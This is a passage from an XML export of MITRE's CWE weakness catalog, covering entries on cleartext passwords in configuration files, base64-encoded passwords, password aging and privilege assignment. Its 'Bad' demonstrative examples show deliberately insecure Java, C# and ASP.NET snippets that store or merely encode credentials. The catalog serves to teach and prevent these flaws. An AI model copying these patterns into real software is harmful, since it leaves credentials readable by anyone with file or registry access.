         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Avoid storing passwords in easily accessible locations.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider storing cryptographic hashes of passwords as an alternative to storing in plaintext.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>Below is a snippet from a Java properties file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>webapp.ldap.username = secretUsername<xhtml:br/>webapp.ldap.password = secretPassword</xhtml:div>
               </Example_Code>
               <Body_Text>Because the LDAP credentials are stored in plaintext, anyone with access to the file can gain access to the resource.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-43">
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.</Intro_Text>
               <Body_Text>This Java example shows a properties file with a cleartext username / password pair.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Password Management: Password in Configuration File</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-207"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="261" Name="Weak Encoding for Password" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>Obscuring a password with a trivial encoding does not protect the password.</Description>
		 <Extended_Description>Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="522" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code reads a password from a properties file and uses the password to connect to a database.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>Properties prop = new Properties();<xhtml:br/>prop.load(new FileInputStream("config.properties"));<xhtml:br/>String password = Base64.decode(prop.getProperty("password"));<xhtml:br/>DriverManager.getConnection(url, usr, password);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code reads a password from the registry and uses the password to create a new network credential.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>...<xhtml:br/>string value = regKey.GetValue(passKey).ToString();<xhtml:br/>byte[] decVal = Convert.FromBase64String(value);<xhtml:br/>NetworkCredential netCred = newNetworkCredential(username,decVal.toString(),domain);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Password Management: Weak Cryptography</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="55"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-207"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
         </References>
         <Notes>
            <Note Type="Other">
               <xhtml:p>The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Other_Notes, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Weak Cryptography for Passwords</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="262" Name="Not Using Password Aging" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not have a mechanism in place for managing password aging.</Description>
         <Extended_Description>
	 <xhtml:p>Password aging (or password rotation) is a policy that forces users to change their passwords after a defined time period passes, such as every 30 or 90 days. Without mechanisms such as aging, users might not change their passwords in a timely manner.</xhtml:p>
	 <xhtml:p>Note that while password aging was once considered an important security feature, it has since fallen out of favor by many, because it is not as effective against modern threats compared to other mechanisms such as slow hashes. In addition, forcing frequent changes can unintentionally encourage users to select less-secure passwords. However, password aging is still in use due to factors such as compliance requirements, e.g., Payment Card Industry Data Security Standard (PCI DSS).</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="309" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="324" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>As passwords age, the probability that they are compromised grows.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>As part of a product's design, require users to change their passwords regularly and avoid reusing previous passwords.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Developers might disable clipboard paste operations into password fields as a way to discourage users from pasting a password into a clipboard. However, this might encourage users to choose less-secure passwords that are easier to type, and it can reduce the usability of password managers [REF-1294].</Description>
	       <Effectiveness>Discouraged Common Practice</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>A system does not enforce the changing of passwords every certain period.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Not allowing password aging</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="16"/>
            <Related_Attack_Pattern CAPEC_ID="49"/>
            <Related_Attack_Pattern CAPEC_ID="509"/>
            <Related_Attack_Pattern CAPEC_ID="55"/>
            <Related_Attack_Pattern CAPEC_ID="555"/>
            <Related_Attack_Pattern CAPEC_ID="560"/>
            <Related_Attack_Pattern CAPEC_ID="561"/>
            <Related_Attack_Pattern CAPEC_ID="565"/>
            <Related_Attack_Pattern CAPEC_ID="600"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
            <Related_Attack_Pattern CAPEC_ID="653"/>
            <Related_Attack_Pattern CAPEC_ID="70"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
            <Reference External_Reference_ID="REF-1305"/>
            <Reference External_Reference_ID="REF-1289"/>
            <Reference External_Reference_ID="REF-1290"/>
            <Reference External_Reference_ID="REF-1291"/>
            <Reference External_Reference_ID="REF-1292"/>
            <Reference External_Reference_ID="REF-1293"/>
            <Reference External_Reference_ID="REF-1294"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations, References, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
	    <Contribution Type="Feedback">
	      <Contribution_Name>Kurt Seifried, Chris Eng, G. Ann Campbell, Larry Shields, Jeffrey Walton, Jason Dryhurst-Smith, and other members of the CWE Community</Contribution_Name>
	      <Contribution_Date>2021-12-03</Contribution_Date>
	      <Contribution_Comment>Gave feedback on how to update CWE-262 and CWE-263 due to changing password management practices</Contribution_Comment>
	    </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Not Allowing Password Aging</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="263" Name="Password Aging with Long Expiration" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product supports password aging, but the expiration period is too long.</Description>
         <Extended_Description>
	   <xhtml:p>Password aging (or password rotation) is a policy that forces users to change their passwords after a defined time period passes, such as every 30 or 90 days. A long expiration provides more time for attackers to conduct password cracking before users are forced to change to a new password.</xhtml:p>
	   <xhtml:p>Note that while password aging was once considered an important security feature, it has since fallen out of favor by many, because it is not as effective against modern threats compared to other mechanisms such as slow hashes. In addition, forcing frequent changes can unintentionally encourage users to select less-secure passwords. However, password aging is still in use due to factors such as compliance requirements, e.g., Payment Card Industry Data Security Standard (PCI DSS).</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>As passwords age, the probability that they are compromised grows.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that password aging is limited so that there is a defined maximum age for passwords. Note that if the expiration window is too short, it can cause users to generate poor or predictable passwords.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that the user is notified several times leading up to the password expiration.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Create mechanisms to prevent users from reusing passwords or creating similar passwords.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Developers might disable clipboard paste operations into password fields as a way to discourage users from pasting a password into a clipboard. However, this might encourage users to choose less-secure passwords that are easier to type, and it can reduce the usability of password managers [REF-1294].</Description>
	       <Effectiveness>Discouraged Common Practice</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>A system requires the changing of passwords every five years.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Allowing password aging</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="16"/>
            <Related_Attack_Pattern CAPEC_ID="49"/>
            <Related_Attack_Pattern CAPEC_ID="509"/>
            <Related_Attack_Pattern CAPEC_ID="55"/>
            <Related_Attack_Pattern CAPEC_ID="555"/>
            <Related_Attack_Pattern CAPEC_ID="560"/>
            <Related_Attack_Pattern CAPEC_ID="561"/>
            <Related_Attack_Pattern CAPEC_ID="565"/>
            <Related_Attack_Pattern CAPEC_ID="600"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
            <Related_Attack_Pattern CAPEC_ID="653"/>
            <Related_Attack_Pattern CAPEC_ID="70"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 19: Use of Weak Password-Based Systems.&#34; Page 279"/>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-1305"/>
            <Reference External_Reference_ID="REF-1289"/>
            <Reference External_Reference_ID="REF-1290"/>
            <Reference External_Reference_ID="REF-1291"/>
            <Reference External_Reference_ID="REF-1292"/>
            <Reference External_Reference_ID="REF-1293"/>
            <Reference External_Reference_ID="REF-1294"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
	    <Contribution Type="Feedback">
	      <Contribution_Name>Kurt Seifried, Chris Eng, G. Ann Campbell, Larry Shields, Jeffrey Walton, Jason Dryhurst-Smith, and other members of the CWE Community</Contribution_Name>
	      <Contribution_Date>2021-12-03</Contribution_Date>
	      <Contribution_Comment>Gave feedback on how to update CWE-262 and CWE-263 due to changing password management practices</Contribution_Comment>
	    </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Allowing Unchecked Password Aging</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="266" Name="Incorrect Privilege Assignment" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="269" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="286" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Resultant</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
